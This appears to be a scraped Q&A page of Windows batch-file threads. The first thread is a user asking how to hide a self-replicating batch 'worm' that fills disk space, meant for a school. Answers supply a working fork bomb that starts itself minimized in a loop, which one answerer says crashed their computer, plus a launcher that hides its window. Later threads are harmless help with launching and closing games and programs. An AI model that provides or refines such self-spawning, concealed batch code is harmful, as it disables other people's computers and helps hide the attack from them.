I am running a batch file that is malicious (for educational reasons) for my school.
What it does is it will repeat and worm and use up space. What i am looking for is to run it and be able to run it in the background so that it wont popup in the foreground. Like me going on facebook and it running in the background not affecting what i am doing. Again, not looking to harm any specific PC with this.
I am very new to batch.
#echo off
:A
SET /A X=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A
Please help me be able to run this into the background instead of the foreground.
Any help would be appreciated very much!
EDIT:: could you also make it automatically close out all the windows it creates?
First, three things:
%random% outputs a random number from 0 to 32767 (as described in HELP SET) so you don't really need the modulus.
You're allowed to run the same script multiple times, so I wouldn't bother renaming them.
You'll find a few useful parameters in HELP START: /B starts the script in the same window, and /MIN starts in minimized.
So, you get a really simple damage.bat:
#echo off
:a
start /b /min damage.bat
goto :a
Which actually really crashed my computer when I tried it -.-
This keeps the CMD window open, so you might want to add a launchDamage.bat:
#echo off
start /min damage.bat
exit
Which runs damage.bat minimized, then exits -> closes CMD window.
replace this
start %x%.bat
with this
start %x%.bat /min
That should work, but dont want to try to corrupt my computer XD
For info on any comand do
theConfusingComand /?
Related
So i'm unfortunately not a coder (yet, i'll be starting learning windows c++ in a couple of months), and i'd like to understand more how batch files work by doing something like this :
Basically, when i start 2 programs (here, Fortnite and a script alongside) with a selfmade batch file, i'd like the script to be killed ONLY when/after i exit Fortnite.
I've tried 2 methods :
http://prntscr.com/kai6iy (start /wait) -
http://prntscr.com/kai68g (:waitForExit)
Is there something i'm doing wrong? the 1st method just doesn't kill the script when i exit Fortnite, and the 2nd one instantly kills the script in a millisecond, way before Fortnite has even started! :/
I don't know anything windows-related right now! Only started objective-c for mac yet.
You did not provide any output so it is hard to guess, but try adding /t and /f to the taskkill command and see if it helps. I was able to make it work with Notepad and Calculator. If the code below still does not work please be sure to post any errors you are getting. We will need more info.
Your code would be:
#echo off
cd C:\Users\odile\Documents\SCRIPTS
start /b fortnitecp.exe
cd "C:\Program Files\Fortnite\FortniteGame\Binaries\Win64"
start /wait FortniteClient-Win64-Shipping.exe
taskkill /IM fortnitecp.exe /T /F
(I also added quotes around the second path since it has spaces)
I am trying to full screen cmd when the computer starts and no I am not looking for mode 1000 or 800 I mean actually full screen. To do this you must press alt+enter but I don't know how to do this when the computer starts. Please help.
EDIT:
Win 10
If you have Autohotkey, this script will work.
Run cmd.exe
Send !{ENTER}
Save it as maximize.ahk and run it at startup.
--
Aside: I got pretty close using Batch+Jscript, but I couldn't get cmd win Win10 to recognize ALT. It recognizes pretty much every other key, though. I just thought I'd share just in case.
#if (#O)==(#O) #
#CScript //nologo //E:JScript "%~F0"
#exit /b #end
WScript.CreateObject("WScript.Shell").SendKeys("%~");
I'm trying my hand at some light programming, but have hit a wall I'm hoping someone can help me with. I'm using an HTPC and a front end media center called Kodi. Within Kodi I have a program called advanced launcher. As my MC Kodi is scripted to always be on top, I've been using a batch file for each PC game and program I'm trying to run. It shuts down Kodi, launches the program, and when the program is closed, relaunches Kodi. This works fine for most programs, but if it has a launcher attached (the example I have is for Dragon Age: Inquisition and the launcher it has Origin) it will run straight through the entire batch file without waiting as I thought I had instructed it. This only seems to happen in programs that have launchers. As I'm just starting out, while lines to change or add would be great to get this working, I'd also like to know the reason behind the changes.
pskill Kodi.exe
cd /d "I:\Games\Dragon Age Inquisition\"
start /max /wait Dragon Age Inquisition.exe
ping 192.168.1.46 -n 1 -w 15000 > nul
cd /d "C:\Program Files (x86)\Kodi\"
start /max Kodi.exe
Ps Commands were recommended by a friend, not sure if this is also an issue, just seems odd that any program without a launcher works fine, but with a launcher just doesn't seem to function correctly. Thanks for your valuable time.
try with:
start "" /max /wait Dragon Age Inquisition.exe
and
start "" /max Kodi.exe
First argument is always the title.
Taskkill /im Kodi.exe
"I:\Games\Dragon Age Inquisition\Dragon Age Inquisition.exe"
"C:\Program Files (x86)\Kodi\Kodi.exe"
Should work how you expect.
Taskkill is the correct command. Use it with /f to force closing.
This is pretty hard to explain so I'll do my best.
When I use the start command in Batch, It'll create a new window etc.
I'm trying to make my own console batch script that isn't as annoying as cmd.exe.
Problem is running commands like help, echo and so on in the current window.
My current code is
:console
set COMMAND=n
set /p COMMAND=%~dp0console.exe^> %=%
if %COMMAND%==exit exit
start %COMMAND%
rem Wait 1000
goto console
I'm using it with Batch to EXE Converter so rem Wait 1000 is valid.
The big problem with the script is that if a user types help or echo and any other commands you can run normally in cmd.exe, it'll open a new cmd.exe window and run the script. I do not want this to happen, is there a way to solve the problem?
Things I've tried:
Instead of using start %COMMAND% I just used %COMMAND%. This
resulted in an error.
(Will add on this list when things that don't work are suggested)
There are two options:
call %command%
Which will wait until the command is over
start /b %command%
Which will start the command in the current window
Hi everyone I'm a newbie in batchfiling but loved tinkering and coding every other time. Can I make a batch file that closes two program simultaneously? Example, I created a batchfile that opens two program, App_A (gamepad imulator) is minimized App_B (offline RPG Game) normal window. What I want is when I close App_B App_A would automatically close too so that I don't have to restore the window and manually close the imulator.
this is the code I just did which I also found in this site and got it working:
ECHO OFF
start /d "C:\Documents and Settings\Computer\My Documents\Imulator\PROFILE" SET1.imulatorprofile /m
ECHO IMULATOR STARTED
start /d "C:\Program Files\App_B" App_BLauncher.exe
ECHO APP_B STARTED
ECHO OPERATION COMPLETE
Any comments or suggestions is GREATLY APPRECIATED! THANKS in ADVANCE :)
You can use another batch file with two taskkill lines, one for each of your apps, and launch that.
Otherwise you'd need to have a batch file running all the time in a window, which loops and checks if appB is not running and then it will close appA. It's not very elegant.
I'm not very good using the windows commandline, but I would try the following approach:
start imulator (which should quit automatically after APP_B exited)
start APP_B (using the /wait option - this should pause the batch processing)
kill imulator (using PsKill by name)
You can find details about start, PsKill and other commands at this site.
Hope that helps a bit.
*Jost
...added later...
Another option would be to do regular checks in the background if a process (App_B) is running and continue (with stopping App_A) when it is finished. This approach makes sense when App_B is only a launcher for another process (e.g. App_Launched_By_B) and comes back directly.
This can be done with a small loop which might look similar to this one:
start "App_A" /d "C:\Programs\App_A" App_A.exe
ECHO App_A STARTED
start "App_B" /d "C:\Programs\App_B" App_B.exe
ECHO App_B STARTED
ECHO GIVE App_B 30 SECONDS TO LAUNCH App_Launched_By_B
SLEEP 30
:LOOP
PSLIST App_Launched_By_B >nul 2>&1
IF ERRORLEVEL 1 (
GOTO CONTINUE
) ELSE (
ECHO App_Launched_By_B IS STILL RUNNING - PAUSE ANOTHER 5 SECS
SLEEP 5
GOTO LOOP
)
:CONTINUE
PsKill App_A
ECHO App_A STOPPED
This example came originally from another answer and was written by aphoria. I adapted it just a little little bit for this case.
Additional information about PsList and other commands can be found at this site.
I also want to note that I do not really like this approach, because it consumes some cpu without doing much. But it is the only solution from a batch file I can see.